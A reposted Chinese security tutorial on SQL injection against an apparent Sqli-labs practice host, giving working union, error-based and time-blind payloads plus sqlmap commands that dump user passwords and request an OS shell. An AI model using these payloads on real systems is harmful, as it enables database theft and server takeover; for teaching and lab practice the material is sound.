安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

news2024/9/23 23:31:32

目录

一、sql注入原理 

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

(2)然后看有几列,有两种方法

(3)查数据库用户名、库名、数据库版本。

(4)查看当前数据库下的所有表名

(5)查看当前数据库下的users表中的列名称

(6)根据上述的名称进行获取用户信息

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

(2)extractvalue

(3)floor

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

(5)ST_LongFromGeoHash(mysql>=5.7.x)

(6)GTID (MySQL >= 5.6.X - 显错<=200)

(7)ST_Pointfromgeohash (mysql>=5.7)

四、时间盲注

1.判断他是否沉睡

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

(4)获取到注入点后,复制粘贴注入点

(5)在网页上进行注入测试

(6)在利用sqlmap进行一个数据库名的爆破

(7)爆破表名

(8)爆破该数据库下的表名中的列

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

(10)判断当前用户信息

(11)查看是否可以进行上传文件或者爆破出路径


一、sql注入原理 

        我们知道,一般的网页需要结合用户输入的数据来去构造数据库,如果我们的用户输入恶意的SQL语句,而我们的开发人员又没有对语句进行严格的过滤,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,就会产生sql注入。

二、联合SQL注入的方法

1.总体的思路

(1)先进行闭合,进行报错

(2)进行逃逸

(3)外带数据

(4)获取库名 表名 列名 数据

(5)获取当前数据库中的数据

2.SQL注入测试

(1)先进行单双引号闭合,让页面出现页面报错

?id=1'

(2)然后看有几列,有两种方法

a、order by 1,2....(优先推荐)

b、union select 1,2,...不停的去试。(不推荐)

?id=1' order by 1,2,3 --+

(3)查数据库用户名、库名、数据库版本。

注意:union前面需要为假,后面才可以执行

查用户名

?id=-1' union select 1,user(),3 --+

查库名

?id=-1' union select 1,database(),3 --+

查数据库的版本

?id=-1' union select 1,version(),2 --+

(4)查看当前数据库下的所有表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schem='security'),3 --+

(5)查看当前数据库下的users表中的列名称

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

(6)根据上述的名称进行获取用户信息

?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),3 --+

三、SQL报错注入

1.七大报错注入函数(前三个一般比较常用,后面的函数也需要知道防止前三个被waf过滤)

(1)updatexml

updatexml(1,1,1) 一共三个参数,报错的位置在第二个参数的位置

?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

(2)extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错的位置在第二个参数的位置

?id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+

(3)floor

获取数据库的版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

(4)ST_LatFromGeoHash()(mysql>=5.7.x)

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(5)ST_LongFromGeoHash(mysql>=5.7.x)

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

(6)GTID (MySQL >= 5.6.X - 显错<=200)

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

​ ') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+   GTID_SUBTRACT ​ ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

(7)ST_Pointfromgeohash (mysql>=5.7)

获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

获取字段里面的数据

')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

四、时间盲注

1.判断他是否沉睡

id=1' and if(ascii(substr(user(),1,1))=114, sleep(3),0) --+

2.利用sqlmap进行时间注入测试

(1)打开kali

(2)用浏览器访问我们注入的网站

(3)打开终端输入

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" 

(4)获取到注入点后,复制粘贴注入点

(5)在网页上进行注入测试

(6)在利用sqlmap进行一个数据库名的爆破

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" --dbs

(7)爆破表名

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security --tables

(8)爆破该数据库下的表名中的列

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --columns

(9)爆破出该数据库下的表名和列名后,将他的数据爆破出来

sqlmap -u "http://192.168.191.1/sql/less-8/index.php?id=1" -D security -T users --dump -C "username,password"

(10)判断当前用户信息

sqlmap "http://192.168.191.1/sql/less-8/index.php?id=1" --current-user

(11)查看是否可以进行上传文件或者爆破出路径

sqlmap -u "http://192.168.191.1/sql/index.php?id=1" --os-shell

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/710710.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【PADS封装】Dsub(DB9,DB15d等)公母头座子封装(带3D)

包含了我们平时常用的贴片Dsub(DB9,DB15等)公母头座子封装&#xff0c;总共28种封装及精美3D模型。完全能满足日常设计使用。每个封装都搭配了精美的3D模型哦。 1.D-Sub是被用来连接数据生成设备和数据输出设备&#xff0c;D-Sub和VGA&#xff0c;两者叫法不同。VGA是IBM在1987…

node-sass 安装失败解决办法

前言 很多小伙伴在安装 node-sass 的时候都失败了&#xff0c;主要的原因是 node 版本和项目依赖的 node-sass 版本不匹配。 解决方案 解决方案&#xff1a;把项目中的 node-sass 替换为 sass&#xff0c;其实 node-sass 已被官方弃用。 官方公告&#xff1a; LibSass and …

Echarts X轴label标签文本和刻度线对齐显示,而不是呈现在两个刻度线之间

如下图所示X轴标签文本Mon位于两个刻度线中间&#xff1a; 想要的效果是如下图&#xff0c;刻度线正下方是标签文本Mon&#xff1a; 只需要在xAxis中添加axisTick的alignWithLabel属性&#xff0c;属性值设为true即可&#xff1a; option {xAxis: {type: category,axisTick: …

Nginx【Nginx虚拟主机单网卡多IP配置、Nginx虚拟主机基于域名的配置 】(四)-全面详解(学习总结---从入门到深化)

Nginx虚拟主机单网卡多IP配置 通过不同的IP区分不同的虚拟主机&#xff0c;此类虚拟主机对应的企业应用非常少见&#xff0c;一般不同业务需要使用多IP的常见都会在负载均衡器上进行VIP绑定&#xff0c;而不是在Web上通过绑定IP区分不同的虚拟机。 需求 一台Linux服务器绑定两…

Hadoop基础——MapReduce

1. Hadoop序列化和反序列化及自定义bean对象实现序列化&#xff1f; 1) 序列化和反序列化的含义序列化是将内存中的对象转换为字节序列&#xff0c;以便持久化和网络传输。 反序列化就是将字节序列或者是持久化数据转换成内存中的对象。 Java的序列化是一个重量级序列化框架&a…

《TCP IP网络编程》第一章

2023.6.28 正式开始学习网络编程。 每一章每一节的笔记都会记录在博客中以便复习。 第1章 1.1理解网络编程和套接字 网络编程又叫套接字编程。所谓网络编程&#xff0c;就是编写程序使两台连网的计算机相互交换数据。 为什么叫套接字编程&#xff1f; 我们平常将插头插入插座上…

基于传统检测算法hog+svm实现目标检测

直接上效果图&#xff1a; 代码仓库和视频演示b站视频004期&#xff1a; 到此一游7758258的个人空间-到此一游7758258个人主页-哔哩哔哩视频 代码展示&#xff1a; 数据集在data文件夹下 需要检测的目标对象数据集放在positive文件夹下 不需要的检测对象放在negative文件夹下…

如何提高个人领导力?

当今竞争激烈的商业环境中&#xff0c;领导力变得越来越重要。领导力不仅是一项人类的艺术和科学&#xff0c;还由对人和组织的理解、管理和激励能力组成。因此&#xff0c;不断提高自身的领导力水平是每个领导者必须面对的挑战。而对于想要提高自身领导力的读者来说&#xff0…

复习之linux中的远程登陆服务

一、实验环境配置 本次实验需要两台新的虚拟机&#xff0c;因此我们reset虚拟机aa 和 bb 修改虚拟机的主机名配置基础ip网络删除/root/.ssh/目录------恢复原始状态 1. 重置虚拟机aa,bb # westos-vmctl reset aa 2. 修改虚拟机的主机名 # hostnamectl set-hostname b…

结构体指针

结构体数组 #include<stdio.h> struct student {char name[20];int age;int scores[3];char addr[50]; }; int main() {struct student stu{"林冲",30,100,100,100,"汴京"};struct student* p;p&stu;//printf("%s\n",(*p).name);//pr…

Table表格(antd-design组件库)简单使用

1.Table表格 展示行列数据。 2.何时使用 当有大量结构化的数据需要展现时&#xff1b; 当需要对数据进行排序、搜索、分页、自定义操作等复杂行为时。 组件代码来自&#xff1a; 表格 Table - Ant Design 3.本地验证前的准备 参考文章【react项目antd组件-demo:hello-world rea…

网络环境TFTPNFS搭建

文章目录 1. TFTP服务搭建2. NFS 环境搭建 1. TFTP服务搭建 1、Ubuntu上搭建TFTP服务器&#xff0c;需要安装tftp-hpa和tftpd-hpa&#xff0c;命令如下&#xff1a; sudo apt-get install tftp-hpa tftpd-hpa sudo apt-get install xinetd2、TFTP也需要一个文件夹来存放文件…

VMware安装Centos7.6教程(保姆级教程)

目录 一、为安装系统做准备&#xff0c;划分空间 二、开始安装Centos7.6系统 2.1、挂载镜像 2.2、基础配置 2.3、手动分区 2.4、KDUMP配置 2.5、网络配置 2.6、安全配置 2.7、设定root密码与创建账户 2.8、其它 一、为安装系统做准备&#xff0c;划分空间 二、开始安…

Linux学习之SELinux简介

SELinux叫做安全增强的Linux版本。以前控制访问的时候&#xff0c;需要用户的权限和进程的权限进行控制。用户访问文件的时候&#xff0c;有两种访问控制&#xff0c;如下&#xff1a; 强制访问控制&#xff08;英语简写&#xff1a;MAC&#xff09; 自主访问控制&#xff08;英…

【中国互联网信息中心】第51次中国互联网络发展状况统计报告.pdf

【中国互联网信息中心】第51次中国互联网络发展状况统计报告

uniapp将图片转化为base64格式,并用url展示出来

效果图&#xff1a; 编码&#xff1a; <template><view class"container"><button click"chooseImage">选择图片</button><image v-if"base64Image" :src"base64Image"></image></view> &…

决策树 ID3 手工推导

掌握决策树ID3算法的原理&#xff0c;通过增益熵实现手工推导的过程。 参考案例&#xff1a;https://cuijiahua.com/blog/2017/11/ml_2_decision_tree_1.html 机器学习实战教程(二)&#xff1a;决策树基础篇之让我们从相亲说起 决策树 ID3 手工推导 决策树 ID3 简介 ID3作为一种…

【剑指offer专项突破版】二叉树篇——“C“

文章目录 前言一、二叉树剪枝题目分析思路分析代码 二、序列化与反序列化二叉树题目分析思路分析代码 三、从根节点到叶节点的路径数字之和题目分析思路分析代码 四、 向下的路径节点之和题目分析思路分析思路①代码思路②代码 五、节点之和最大的路径题目分析思路分析代码 六、…

Linux--查看Linux的体系结构以及内核版本:uname

语法&#xff1a; uname 选项功能&#xff1a; uname用来获取电脑和操作系统的相关信息。 选项&#xff1a; -a或–all 详细输出所有信息&#xff0c;依次为内核名称&#xff0c;主机名&#xff0c;内核版本号&#xff0c;内核版本&#xff0c;硬件名&#xff0c;处理器类型&a…

【2023比惨大会】测试惨吗?舍我其谁!

2023年&#xff0c;流行“比惨”。 作为一个测试员&#xff0c;惨吗&#xff1f;&#xff01; 看后不要太现实 自学软件测试三个月&#xff0c;然 简历石沉大海 2022年度的绩效&#xff0c;2023年都要过完了 辞职大半年了&#xff0c;至今没找到合适的工作 昨天还在流泪加班&…